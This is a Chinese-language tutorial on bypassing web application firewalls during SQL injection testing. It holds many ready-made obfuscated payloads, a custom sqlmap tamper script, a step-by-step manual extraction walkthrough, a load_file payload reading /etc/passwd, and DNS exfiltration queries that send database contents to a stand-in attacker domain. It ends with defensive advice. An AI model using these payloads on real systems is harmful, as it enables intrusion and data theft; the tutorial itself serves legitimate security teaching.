1. 项目概述当SQL注入遇上WAF这道墙在Web安全测试的实战中SQL注入无疑是最经典、最致命的漏洞之一。但如今直接面对一个毫无防护的应用系统已经越来越少见绝大多数生产环境都会部署Web应用防火墙WAF。这就好比一个经验丰富的锁匠面对的不再是简单的挂锁而是配备了警报系统、多重锁芯的保险柜。WAF就是这道警报系统它会实时分析HTTP/HTTPS流量拦截那些看起来像攻击的请求比如包含union select、sleep()、or 11这类明显特征的SQL注入载荷。“SQL注入--WAF绕过1”这个标题精准地指向了现代渗透测试和红队评估中的一个核心进阶技能如何在WAF的“法眼”之下依然成功实施SQL注入攻击从而验证漏洞的真实存在性与危害。这绝不是为了攻击而攻击对于安全从业者而言掌握绕过技巧是为了更深刻地理解防御机制的薄弱环节从而设计出更健壮的防护策略。本篇文章我将以一个拥有十多年一线渗透经验的老兵视角为你拆解WAF绕过的底层逻辑、常见手法和实战中的那些“骚操作”。无论你是刚入门的安全爱好者还是想深化攻防理解的安全工程师这篇文章都将带你绕过表象直击WAF防护的“阿喀琉斯之踵”。2. WAF工作原理与绕过思路总览在思考如何绕过之前我们必须先理解WAF是如何工作的。你可以把WAF想象成一个严格的安检员它站在你的Web应用服务器前面检查每一个进出的“包裹”HTTP请求。它的工作主要基于规则库这些规则定义了成千上万种攻击模式签名。当你的请求触发了其中某条规则WAF就会果断拦截返回一个403 Forbidden或者自定义的拦截页面。2.1 WAF检测的常见层面WAF的检测通常发生在多个层面理解这些层面是设计绕过方法的基础基于正则表达式的模式匹配这是最基础、最广泛的检测方式。WAF维护着一个庞大的恶意字符串和模式列表。例如它会匹配union\sselect、sleep\(、benchmark\(、or\s[]?1[]?\s*\s*[]?1[]?等模式。一旦请求参数中出现这些模式直接拦截。语义分析更高级的WAF会尝试理解参数的上下文。例如它可能能识别出id1 and 11是一个永真条件即使and和被编码或分割它也能通过解析最终语义来判断。协议合规性检查检查HTTP请求头、请求方法、参数格式等是否符合规范。异常的请求格式本身可能就是攻击的前奏。频率与行为分析短时间内大量相似的错误请求如盲注探测或异常的访问模式也会触发WAF的警报。2.2 绕过WAF的核心哲学基于上述检测原理我们的绕过思路可以归结为以下几个核心方向这就像是一套组合拳混淆与变形让攻击载荷“看起来”不像攻击。通过编码、等价替换、添加无用字符等方式扰乱WAF的正则匹配但保证数据库引擎最终执行时其语义不变。逻辑与白名单利用寻找WAF规则逻辑的盲区。例如某些WAF可能只检查GET/POST参数忽略HTTP头如X-Forwarded-For或者如果请求来自特定的IP白名单如CDN节点、负载均衡器IPWAF可能会放行。资源耗尽与性能绕过利用WAF处理能力的极限。发送极其复杂、嵌套层数极深的载荷可能使WAF的解析引擎超时或崩溃从而绕过检测这种手法对应用本身也有风险需谨慎。多阶段与分片攻击将完整的攻击载荷拆分成多个看似无害的部分分批次发送在应用层或数据库层进行重组。这要求对目标应用的处理逻辑有较深的理解。注意所有绕过技术的讨论和学习都应严格在授权测试环境如DVWA、Pikachu、SQLi-Labs等靶场中进行。未经授权的测试是违法行为。3. 基础混淆技术让Payload“改头换面”这是最直接、最常用的绕过手段目的是欺骗基于正则匹配的WAF。下面我们通过具体例子来看如何操作。3.1 大小写变换与随机大小写这是最简单的绕过方式。许多早期的WAF规则是大小写敏感的。原始Payload:union select user, password from mysql.user绕过尝试:UnIoN SeLeCt UsEr, PaSsWoRd FrOm MySqL.uSeR原理数据库的SQL关键字通常不区分大小写但WAF的正则规则union select可能匹配不到UnIoN SeLeCt。实操心得虽然简单但在自动化工具中依然有效。你可以用Python快速生成随机大小写的Payload。不过现代WAF大多会进行规范化转为小写后再匹配所以单靠这一招已经不够了。3.2 内联注释/*!...*/与注释混淆MySQL特有的内联注释妙用无穷。在/*!和*/之间的内容只有特定版本以上的MySQL才会执行但它本身是合法的注释语法可以用来分割关键字。原始Payload:union select 1,2,3绕过尝试1分割关键字:uni/*任意内容*/on sel/*任意内容*/ect 1,2,3绕过尝试2使用内联注释:/*!union*//*!select*/ 1,2,3原理WAF的正则可能被/*和*/打断无法识别出连续的union select。而数据库解析SQL时会忽略掉注释部分将uni和on重新组合成union。更高级的用法/*!50000union*/ select表示MySQL版本5.00.00时才执行union。这可以用来针对特定WAF的规则。3.3 空白符与换行符的魔法SQL语句中的空白符空格、制表符\t、换行符\n、回车符\r在数据库解析时大多被视作分隔符但WAF的正则可能只匹配了特定的空白模式。原始Payload:or 11绕过尝试:or%0a1%0a%0a1使用URL编码的换行符%0aor%091%09%091使用制表符%09or/**/1/**/1使用注释块/**/充当空白符原理\s在正则中通常匹配任意空白符但有些WAF实现不严谨。使用非常规的空白符或注释块可能绕过对or ‘1’‘1’这种固定字符串的匹配。3.4 等价函数与操作符替换如果union和select被盯死了我们可以换条路走。绕过or 11:or 21or 99 between 98 and 100or ascii(a)97如果上下文允许绕过sleep()时间盲注:MySQL:benchmark(10000000, md5(test)) 通过执行大量计算来延时。PostgreSQL:pg_sleep(5)是标准函数但可以尝试generate_series(1,10000000)制造延迟效果因系统而异。绕过substring()/mid():MySQL: 使用right(left(abc,2),1)来模拟substring(abc,2,1)。或者使用like进行逐字符盲注and database() like a%。注意事项替换时务必考虑数据库类型。MySQL的benchmark在PostgreSQL中不存在。实战中信息收集阶段确定数据库类型至关重要。4. 高级编码与多重混淆技术当基础混淆失效我们就需要祭出更复杂的编码技术让Payload在传输过程中“面目全非”直到被目标应用或数据库解码。4.1 URL编码与双重编码这是Web攻击中最常见的编码。原始Payload:union select 1,2,3标准URL编码:union%20select%201%2C2%2C3空格变%20逗号变%2C双重URL编码对已经编码的字符串再次编码。%20的%编码为%25所以%20变成%2520。最终Payload可能看起来像union%2520select%25201%252C2%252C3原理如果WAF只做了一次URL解码检查那么它看到的是union%20select...可能匹配不到union select。而Web服务器如Apache、Nginx或应用框架如PHP的$_GET通常会进行自动URL解码最终数据库收到的还是union select 1,2,3。实操过程记录在一次内部测试中我们发现目标的Java应用使用了一个自定义的过滤器进行WAF检测。该过滤器只对参数值进行了一次URLDecoder.decode()。我们通过Burp Suite的Decoder模块对select进行双重编码s-%73,%73-%2573最终select变成了%2573%2565%256c%2565%2563%2574成功绕过了过滤而Tomcat容器正常解码后SQL语句得以执行。4.2 Unicode编码与非常规字符利用数据库或应用层对Unicode字符的特殊处理。MySQL中的技巧在字符串中插入%bf%27。Payload:id1%bf%27 or 11 --原理这涉及到字符集转换漏洞如GBK、BIG5等宽字节字符集。当应用使用GBK编码且使用addslashes或类似函数转义单引号将变为\时%bf%27会被转义为%bf%5c%27。在GBK编码中%bf%5c构成了一个合法的中文字符如“縗”从而“吃掉”了反斜杠使得后面的%27单引号逃逸出来成功闭合了字符串。这需要特定的字符集环境但一旦存在是极好的绕过手段。使用非常规空格除了%20还可以尝试%a0不间断空格HTML中的nbsp;。在某些解析逻辑中它可能不被识别为空白符。4.3 HTML实体编码与Hex编码当Payload可能出现在HTML上下文如搜索框回显或被某些中间件处理时这些编码可能有效。HTML实体编码union-#x75;#x6e;#x69;#x6f;#x6e;或#117;#110;#105;#111;#110;Hex编码MySQLselect-0x73656c656374Payload示例union select 1,0x73656c656374,3这里0x73656c656374本身是一个字符串但如果在load_file等函数中可以直接使用select load_file(0x2f6574632f706173737764)来读取/etc/passwd避免引号被过滤。原理WAF可能不会深度解码所有可能的编码格式。例如它可能检查了URL解码后的内容但没有进一步解码HTML实体或Hex字符串。而数据库的CONCAT函数或某些SQL上下文能够正确解释这些编码。5. 协议层与请求结构绕过这个层面的绕过不直接修改Payload本身而是通过“包装”请求利用WAF在协议解析上的差异或漏洞。5.1 参数污染HPP向同一个参数名传递多个值。不同的服务器端技术处理方式不同。请求/test.php?id1idunion select 1,2,3可能的情况PHP Apache通常取最后一个值即idunion select 1,2,3。J2EE Tomcat通常取第一个值即id1。ASP.NET IIS可能会将两个值用逗号连接即id1,union select 1,2,3。绕过思路如果WAF只检查了第一个id参数值为1无害而应用服务器如PHP取的是最后一个值那么攻击Payload就被放行了。5.2 请求方法转换与内容类型GET 转 POSTWAF可能对GET请求的参数检查严格但对POST请求的body检查宽松。尝试将注入点从URL参数移到POST表单数据中。Content-Type混淆将Content-Type设置为application/json然后以JSON格式传递参数。有些WAF可能主要处理application/x-www-form-urlencoded对JSON格式的解析不深入。例如{id: 1 and sleep(5)-- }。如果后端框架能正确解析JSON并拼接SQL而WAF没有解析JSON则可能绕过。Multipart/Form-Data上传文件时的格式。将注入参数放在这种格式的请求中复杂的边界分隔符有时会干扰WAF的解析。5.3 HTTP头注入与HOST头攻击如果应用将某些HTTP头的内容不加过滤地记录到数据库如记录User-Agent、X-Forwarded-For到日志表那么这些头部字段也可能成为注入点。检测修改User-Agent为Mozilla/5.0 and 11观察页面响应是否有变化。绕过优势很多WAF的默认规则集对标准请求头部的检查强度可能低于对GET/POST参数的检查。5.4 分块传输编码Chunked Transfer Encoding这是一种HTTP协议特性允许客户端将请求体分块发送。有些WAF为了性能可能不会完整地重组和检查分块传输的请求体而是直接放行或只检查第一块。在Burp Suite中选中请求右键选择Extensions-BApp Store安装Turbo Intruder或HTTP Request Smuggler等插件它们能更方便地构造分块请求。将攻击Payload拆分成多个小块例如第一块是正常的id1第二块是and sleep(5)--。设置Transfer-Encoding: chunked头并按格式发送。原理如果WAF没有正确实现分块传输解码它可能只看到无害的第一块id1而后端服务器正确重组了所有块导致了注入。重要提示协议层绕过技术复杂度高且高度依赖于具体的WAF产品、版本及其部署方式是网络层设备、云WAF还是软件模块。这需要大量的模糊测试和经验积累。6. 实战场景联合多种技术手工绕过WAF理论说再多不如一次实战。假设我们面对一个疑似存在字符型注入的点且触发了某云WAF的拦截。我们的目标是获取当前数据库名。初始探测/product.php?nametest- 返回数据库错误提示单引号未闭合说明可能存在注入但直接加and 11会被WAF拦截。第一步确定注入类型与闭合方式发送nametest and 11- 被WAF拦截。尝试混淆nametest anandd 11- 拦截。说明WAF对and检测很敏感。使用注释分割nametest /*!an*/ /*!d*/ 11- 成功页面正常返回。说明是字符型注入闭合方式为单引号且内联注释混淆有效。第二步判断字段数Order By直接order by会被拦截。尝试nametest /*!order*/ /*!by*/ 1 --- 拦截。order by可能被整体检测。换用等价方法nametest and (select 1)(select 1) --先测试条件是否成立。然后通过递增select后的数字来测试字段数这需要结合盲注逻辑比较复杂。更巧妙的办法利用group by。nametest group by 1 --页面正常。group by 1,2 --正常...直到group by 1,2,3,4 --时页面报错或返回空。说明字段数为3。这里group by有时比order by更容易绕过检测。第三步联合查询获取信息构造联合查询nametest union select 1,2,3 --必然被拦截。多重混淆将union select变形uni/**/on sel/**/ect对数字进行简单编码1变成0x311的Hex2变成char(50)ASCII码。最终Payloadnametest uni/**/on sel/**/ect 0x31,char(50),3 --发送请求发现2的位置在页面中回显了。太好了获取当前数据库名nametest uni/**/on sel/**/ect 1,database/**/(),3 --这里将database()函数也用注释分割。成功在页面回显位置看到数据库名webapp_db。实操心得这个过程中最关键的是保持耐心和创造性。就像一个拼图游戏你需要不断尝试不同的混淆组合。我习惯在本地用一个文本文件或笔记软件记录下哪些关键字被拦截如union select哪些变形能通过如uni/**/on sel/**/ect。这个“武器库”在针对同一WAF的后续测试中会非常高效。同时Burp Suite的Repeater和Intruder模块是绝佳帮手可以快速进行批量测试。7. 自动化工具辅助与高级技巧手工注入虽然精准但效率低。在授权测试中我们可以借助sqlmap这样的神器并为其配置绕过脚本tamper script。7.1 使用sqlmap的tamper脚本sqlmap自带数十个tamper脚本用于绕过WAF/IDS。其原理就是自动应用我们上面讨论的各种混淆技术。基本命令sqlmap -u http://target.com/product.php?nametest --tamperspace2commentspace2comment将空格替换为/**/。组合使用脚本--tamperbetween,charencode,space2commentbetween用between替换比较符。charencode对Payload进行URL编码。常用脚本解析apostrophemask.py用%EF%BC%87全角单引号替换单引号。equaltolike.py用like替换。greatest.py用greatest()函数绕过比较符。space2dash.py用--加一个随机字符串加换行符替换空格。versionedmorekeywords.py在关键字前加上MySQL版本注释如/*!50000union*/。操作技巧不要一开始就上所有tamper脚本这会导致Payload异常复杂容易被识别为攻击。先用手工方式探测出有效的混淆方法例如发现/**/有效然后选择对应的tamper脚本如space2comment再让sqlmap进行深度测试。7.2 编写自定义tamper脚本如果现有的脚本都无法绕过你可能需要自己写一个。sqlmap的tamper脚本结构很简单核心是tamper(payload, **kwargs)函数。#!/usr/bin/env python # 示例一个简单的自定义混淆脚本将union select替换为uNiOnsElEcT from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal payload if payload: # 替换 union select 为随机大小写并用号连接 retVal retVal.replace(union select, uNiOnsElEcT) # 可以添加更多替换规则... return retVal保存为custom_tamper.py使用--tampercustom_tamper.py加载。这让你可以针对特定WAF的规则进行定制化绕过。7.3 利用DNS外带技术突破无回显场景在盲注且WAF拦截了sleep、benchmark等时间函数时信息获取极其困难。DNS外带DNS Exfiltration是一种高级技巧。原理利用数据库函数发起一个DNS查询查询的域名中包含我们想窃取的数据。由于DNS请求通常不受WAF严格监控且会到达我们控制的DNS服务器我们通过查看DNS日志即可获取数据。MySQL示例需要LOAD_FILE或INTO OUTFILE权限且secure_file_priv设置宽松select load_file(concat(\\\\, (select database()), .your-dns-server.com\\abc))这会让数据库尝试从\\webapp_db.your-dns-server.com\abc这个“UNC路径”读取文件从而发起对webapp_db.your-dns-server.com的DNS查询。我们在your-dns-server.com的日志里就能看到webapp_db这个子域名。SQL Server示例exec master..xp_dirtree \\ (select version) .your-dns-server.com\test工具可以使用dnslog.cn这类平台提供的临时域名来接收DNS查询无需自建服务器。注意事项DNS外带成功率依赖于数据库配置、网络策略是否允许外发DNS请求以及WAF是否监控非常规的DNS查询模式。它是在其他方法都失效时的“杀手锏”。8. 防御视角如何构建更健壮的防线知己知彼百战不殆。了解了攻击者的绕过手法我们才能更好地防御。从开发和安全运维角度建议采取纵深防御策略根本解决使用参数化查询预编译语句。这是防止SQL注入的银弹。无论是Java的PreparedStatement、Python的cursor.execute(sql, (params,))还是PHP的PDO预处理都应强制使用。这能确保用户输入永远被当作数据而非代码的一部分。最小权限原则为数据库应用账户分配最小必需的权限。禁止使用root或sa等高级账户连接数据库。这样即使发生注入攻击者能造成的破坏也有限。输入验证与净化在参数化查询的基础上增加额外的输入验证。例如对于ID参数验证其是否为整数。对于名称参数验证其长度和字符集如只允许字母数字和少量符号。使用白名单而非黑名单。Web应用防火墙WAF的合理配置及时更新规则确保WAF的规则库是最新的能识别最新的攻击手法和混淆技巧。启用语义分析如果WAF支持开启基于语义的攻击检测而不仅仅是模式匹配。学习模式在部署初期可以设置WAF为“学习模式”或“记录模式”观察正常流量避免误报再逐步开启拦截。自定义规则根据自身业务特点针对已知的绕过尝试添加自定义正则规则。错误信息处理自定义统一的错误页面避免将数据库的详细错误信息如SQL语句、表名、列名直接返回给用户。这能极大增加攻击者进行盲注的难度。定期安全测试与代码审计将SQL注入检测作为SAST静态应用安全测试和DAST动态应用安全测试的必查项。定期进行渗透测试模拟攻击者的绕过手法来检验防御体系的有效性。绕过的艺术本质上是攻防双方在认知层面的博弈。攻击者在寻找规则与实现之间的缝隙而防御者在不断弥合这些缝隙。对于安全研究者而言深入理解这些绕过技术不是为了破坏而是为了构建那面真正无法被逾越的高墙。在授权的测试环境中不断练习、思考和总结是提升这方面能力的唯一途径。记住最坚固的防线往往始于对攻击最透彻的理解。